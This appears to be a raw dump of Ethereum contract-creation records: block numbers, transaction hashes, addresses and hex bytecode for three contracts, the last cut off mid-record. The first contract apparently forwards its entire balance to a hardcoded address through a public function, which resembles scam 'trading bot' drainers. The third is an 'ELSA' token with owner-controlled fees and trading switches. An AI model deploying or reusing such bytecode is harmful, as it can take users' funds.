1	19,499,652	df9c214f3c62b30cca65f6afdc885254b3f947edf0052dd3ed2c83b01636d077	c7c16118500288c5be71382b474eefaa4463cf63b4780ea86ec8c774c5180ce9	f54265df34b293d7b255015da507c7f68252ec81	f54265df34b293d7b255015da507c7f68252ec81	e2acd8af129dcc5da5fc01dbba832207dffff2e6	670de0b6b3a764000060025566071afd498d00006003556004805460ff1916905560a060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2608090815261004d90600790600161008a565b507366d96d553c3b800581abba29c27c5ebc1c190f1760085534801561007257600080fd5b50600080546001600160a01b03191633179055610104565b8280548282559060005260206000209081019282156100df579160200282015b828111156100df57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906100aa565b506100eb9291506100ef565b5090565b5b808211156100eb57600081556001016100f0565b6102d9806101136000396000f3fe6080604052600436106100595760003560e01c806357ea89b614610065578063802fe1da1461007c578063bedf0f4a1461009c578063c0452ef8146100b8578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b5061007a610107565b005b34801561008857600080fd5b5061007a610097366004610265565b600555565b3480156100a857600080fd5b5061007a6004805460ff19169055565b3480156100c457600080fd5b5061007a6100d3366004610265565b600655565b61007a610170565b3480156100ec57600080fd5b506100f56101b7565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e6101dc565b565b600061017b60085490565b6040519091506001600160a01b038216904780156108fc02916000818181858888f193505050501580156101b3573d6000803e3d6000fd5b5050565b60035460008054909182916101d691906001600160a01b03163161027e565b92915050565b6000546001600160a01b031633146102365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610262573d6000803e3d6000fd5b50565b60006020828403121561027757600080fd5b5035919050565b60008282101561029e57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220fec3acd53ac845b72fdb047c1db3142f7b4c0077b8f212c8b01ee79ebe05d2ab64736f6c63430008070033	6080604052600436106100595760003560e01c806357ea89b614610065578063802fe1da1461007c578063bedf0f4a1461009c578063c0452ef8146100b8578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b5061007a610107565b005b34801561008857600080fd5b5061007a610097366004610265565b600555565b3480156100a857600080fd5b5061007a6004805460ff19169055565b3480156100c457600080fd5b5061007a6100d3366004610265565b600655565b61007a610170565b3480156100ec57600080fd5b506100f56101b7565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e6101dc565b565b600061017b60085490565b6040519091506001600160a01b038216904780156108fc02916000818181858888f193505050501580156101b3573d6000803e3d6000fd5b5050565b60035460008054909182916101d691906001600160a01b03163161027e565b92915050565b6000546001600160a01b031633146102365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610262573d6000803e3d6000fd5b50565b60006020828403121561027757600080fd5b5035919050565b60008282101561029e57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220fec3acd53ac845b72fdb047c1db3142f7b4c0077b8f212c8b01ee79ebe05d2ab64736f6c63430008070033
1	19,499,655	7b6bd1704a9cfc7a14422541daeb4a873b5996e201df4aeb83fe411be28ec58f	afd90e222fc312b621bf51f788e886f942c44e97063224134a962b285194c33d	000099b4a4d3ceb370d3a8a6235d24e07a8c0000	ee2a0343e825b2e5981851299787a679ce08216d	3b6e3631f94e2ecb37655a48fe7c1dbe43ddcb06	6080604052348015600f57600080fd5b506040516101bb3803806101bb833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b610125806100966000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c6343000819003300000000000000000000000033c99c0323adc0b7bd4ddd2ac4d4de2c28722fb0	6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c63430008190033
1	19,499,657	99c366f4977060b7c4b6aeea6c0d35853197635492bea592018022ec61b13dd1	f28256ccad4874ef6e1382ad432ea90192fc06ddb41e2397757e8802afd96712	9e2e3aa0e567f038db18d4601d6c2f4d886c9141	9e2e3aa0e567f038db18d4601d6c2f4d886c9141	261511775e05b4fa5050f8c45f66f9a0c8db69b4	608060405269d3c21bcecceda10000005f196200001d919062000578565b5f196200002b9190620005dc565b60025568056bc75e2d631000006004555f600a555f600b5569043c33c1937564800000600c556063600d556046600e55600a54600f55600b546010555f601360146101000a81548160ff0219169083151502179055505f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f601360176101000a81548160ff021916908315150217905550348015620000db575f80fd5b505f620000ed6200051460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073b4cf0040ed29f78ae1502e5a5482dbe22166ae0d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460055f620001f36200051460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160085f620002456200051b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f620003746200051b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200049e6200051460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef69d3c21bcecceda100000060405162000506919062000627565b60405180910390a362000642565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005848262000542565b9150620005918362000542565b925082620005a457620005a36200054b565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620005e88262000542565b9150620005f58362000542565b925082820390508181111562000610576200060f620005af565b5b92915050565b620006218162000542565b82525050565b5f6020820190506200063c5f83018462000616565b92915050565b6139c980620006505f395ff3fe608060405260043610610143575f3560e01c806395d89b41116100b5578063cd5caee81161006e578063cd5caee81461040a578063cec10c1114610432578063d043c0441461045a578063db92dbb614610482578063dd62ed3e146104ac578063ee5ecc89146104e85761014a565b806395d89b41146103285780639a7a23d614610352578063a9059cbb1461037a578063c110788f146103b6578063c3c8cd80146103de578063c9567bf9146103f45761014a565b8063313ce56711610107578063313ce567146102445780635d0044ca1461026e5780636fc3eaec1461029657806370a08231146102ac578063715018a6146102e85780638da5cb5b146102fe5761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806327f3a72a1461021a5761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610510565b60405161016f9190612a4e565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612aff565b61054d565b6040516101ab9190612b57565b60405180910390f35b3480156101bf575f80fd5b506101c861056a565b6040516101d59190612b7f565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190612b98565b61057b565b6040516102119190612b57565b60405180910390f35b348015610225575f80fd5b5061022e61064f565b60405161023b9190612b7f565b60405180910390f35b34801561024f575f80fd5b5061025861065e565b6040516102659190612c03565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f9190612c1c565b610666565b005b3480156102a1575f80fd5b506102aa610713565b005b3480156102b7575f80fd5b506102d260048036038101906102cd9190612c47565b6107b7565b6040516102df9190612b7f565b60405180910390f35b3480156102f3575f80fd5b506102fc610805565b005b348015610309575f80fd5b50610312610953565b60405161031f9190612c81565b60405180910390f35b348015610333575f80fd5b5061033c61097a565b6040516103499190612a4e565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612cc4565b6109b7565b005b348015610385575f80fd5b506103a0600480360381019061039b9190612aff565b610ae8565b6040516103ad9190612b57565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d79190612d02565b610b05565b005b3480156103e9575f80fd5b506103f2610bb6565b005b3480156103ff575f80fd5b50610408610c62565b005b348015610415575f80fd5b50610430600480360381019061042b9190612d02565b611190565b005b34801561043d575f80fd5b5061045860048036038101906104539190612d2d565b611242565b005b348015610465575f80fd5b50610480600480360381019061047b9190612c1c565b6112f0565b005b34801561048d575f80fd5b5061049661139d565b6040516104a39190612b7f565b60405180910390f35b3480156104b7575f80fd5b506104d260048036038101906104cd9190612d7d565b6113cd565b6040516104df9190612b7f565b60405180910390f35b3480156104f3575f80fd5b5061050e60048036038101906105099190612df6565b61144f565b005b60606040518060400160405280600481526020017f456c736100000000000000000000000000000000000000000000000000000000815250905090565b5f6105606105596115f0565b84846115f7565b6001905092915050565b5f69d3c21bcecceda1000000905090565b5f6105878484846117ba565b610644846105936115f0565b61063f8560405180606001604052806028815260200161396c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f66115f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e599092919063ffffffff16565b6115f7565b600190509392505050565b5f610659306107b7565b905090565b5f6009905090565b61066e6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190612e6b565b60405180910390fd5b633b9aca008161070a9190612eb6565b600c8190555050565b61071b6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e90612e6b565b60405180910390fd5b5f4790506107b481611ebb565b50565b5f6107fe60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7f565b9050919050565b61080d6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612e6b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f454c534100000000000000000000000000000000000000000000000000000000815250905090565b6109bf6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4290612e6b565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190612f67565b60405180910390fd5b610ae48282611feb565b5050565b5f610afb610af46115f0565b84846117ba565b6001905092915050565b610b0d6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612e6b565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b610bbe6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612e6b565b60405180910390fd5b5f610c54306107b7565b9050610c5f81612043565b50565b610c6a6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90612e6b565b60405180910390fd5b601360149054906101000a900460ff1615610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612fcf565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dd43060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006115f7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e419190613001565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eca9190613001565b6040518363ffffffff1660e01b8152600401610ee792919061302c565b6020604051808303815f875af1158015610f03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f279190613001565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fae306107b7565b5f80610fb8610953565b426040518863ffffffff1660e01b8152600401610fda96959493929190613095565b60606040518083038185885af1158015610ff6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061101b9190613108565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110bb929190613158565b6020604051808303815f875af11580156110d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110fb9190613193565b50600160145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555050565b6111986115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90612e6b565b60405180910390fd5b8015601360156101000a81548160ff02191690831515021790555050565b61124a6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612e6b565b60405180910390fd5b82600d8190555081600e8190555080600a81905550505050565b6112f86115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612e6b565b60405180910390fd5b633b9aca00816113949190612eb6565b60048190555050565b5f6113c860135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b7565b905090565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114576115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90612e6b565b60405180910390fd5b5f60085f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c9061322e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca906132bc565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117ad9190612b7f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f9061334a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d906133d8565b60405180910390fd5b5f81116118d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cf90613466565b60405180910390fd5b6118e0610953565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561194e575061191e610953565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cdb5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156119f7575060095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a0557505f600c5414155b15611a6357600c5481611a17846107b7565b611a219190613484565b1115611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613527565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b0c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5f575060085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bbd57601360149054906101000a900460ff16611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa9061358f565b60405180910390fd5b600d54600b819055505b5f611bc7306107b7565b9050601360179054906101000a900460ff16158015611c33575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4b5750601360149054906101000a900460ff165b15611cd957600e54600b8190555060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611cd857600454811115611cd757601360169054906101000a900460ff1615611ccd5760045490505b611cd6816122ae565b5b5b5b505b5f60019050601360159054906101000a900460ff1680611d41575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611d92575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611d9f575f9050611e47565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e3d575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e46575f90505b5b611e53848484846122d1565b50505050565b5f838311158290611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e979190612a4e565b60405180910390fd5b505f8385611eae91906135ad565b9050809150509392505050565b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611f019061360d565b5f6040518083038185875af1925050503d805f8114611f3b576040519150601f19603f3d011682016040523d82523d5f602084013e611f40565b606091505b505090507fb6caad5b328a3de9a49b44605241a4b72f6f1aa955829d12e37decfd84a0b8ca81604051611f739190612b57565b60405180910390a15050565b5f600254821115611fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbc90613691565b60405180910390fd5b5f611fce6122fe565b9050611fe3818461232790919063ffffffff16565b915050919050565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6001601360176101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561207a576120796136af565b5b6040519080825280602002602001820160405280156120a85781602001602082028036833780820191505090505b50905030815f815181106120bf576120be6136dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612163573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121879190613001565b8160018151811061219b5761219a6136dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122013060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115f7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016122639594939291906137c0565b5f604051808303815f87803b15801561227a575f80fd5b505af115801561228c573d5f803e3d5ffd5b50505050505f601360176101000a81548160ff02191690831515021790555050565b6122b781612043565b5f4790505f8111156122cd576122cc47611ebb565b5b5050565b806122df576122de612370565b5b6122ea8484846123a9565b806122f8576122f7612569565b5b50505050565b5f805f61230961257d565b91509150612320818361232790919063ffffffff16565b9250505090565b5f61236883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125df565b905092915050565b5f600a5414801561238257505f600b54145b6123a757600a54600f81905550600b546010819055505f600a819055505f600b819055505b565b5f805f805f806123b887612640565b9550955095509550955095506124148660055f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126a090919063ffffffff16565b60055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a58560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126e990919063ffffffff16565b60055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124ef81612746565b6124f984836127fd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125569190612b7f565b60405180910390a3505050505050505050565b600f54600a81905550601054600b81905550565b5f805f60025490505f69d3c21bcecceda100000090506125b269d3c21bcecceda100000060025461232790919063ffffffff16565b8210156125d25760025469d3c21bcecceda10000009350935050506125db565b81819350935050505b9091565b5f8083118290612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c9190612a4e565b60405180910390fd5b505f83856126339190613845565b9050809150509392505050565b5f805f805f805f805f6126588a600a54600b54612837565b9250925092505f6126676122fe565b90505f805f6126788e8787876128c9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6126e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e59565b905092915050565b5f8082846126f79190613484565b90508381101561273c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612733906138bf565b60405180910390fd5b8091505092915050565b5f61274f6122fe565b90505f612765828461294d90919063ffffffff16565b90506127b78160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126e990919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612812826002546126a090919063ffffffff16565b60028190555061282d816003546126e990919063ffffffff16565b6003819055505050565b5f805f806128616064612853888a61294d90919063ffffffff16565b61232790919063ffffffff16565b90505f61288a606461287c888b61294d90919063ffffffff16565b61232790919063ffffffff16565b90505f6128b2826128a4858c6126a090919063ffffffff16565b6126a090919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806128e0858961294d90919063ffffffff16565b90505f6128f6868961294d90919063ffffffff16565b90505f61290c878961294d90919063ffffffff16565b90505f6129348261292685876126a090919063ffffffff16565b6126a090919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f80830361295d575f90506129be565b5f828461296a9190612eb6565b90508284826129799190613845565b146129b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b09061394d565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156129fb5780820151818401526020810190506129e0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612a20826129c4565b612a2a81856129ce565b9350612a3a8185602086016129de565b612a4381612a06565b840191505092915050565b5f6020820190508181035f830152612a668184612a16565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612a9b82612a72565b9050919050565b612aab81612a91565b8114612ab5575f80fd5b50565b5f81359050612ac681612aa2565b92915050565b5f819050919050565b612ade81612acc565b8114612ae8575f80fd5b50565b5f81359050612af981612ad5565b92915050565b5f8060408385031215612b1557612b14612a6e565b5b5f612b2285828601612ab8565b9250506020612b3385828601612aeb565b9150509250929050565b5f8115159050919050565b612b5181612b3d565b82525050565b5f602082019050612b6a5f830184612b48565b92915050565b612b7981612acc565b82525050565b5f602082019050612b925f830184612b70565b92915050565b5f805f60608486031215612baf57612bae612a6e565b5b5f612bbc86828701612ab8565b9350506020612bcd86828701612ab8565b9250506040612bde86828701612aeb565b9150509250925092565b5f60ff82169050919050565b612bfd81612be8565b82525050565b5f602082019050612c165f830184612bf4565b92915050565b5f6020828403121561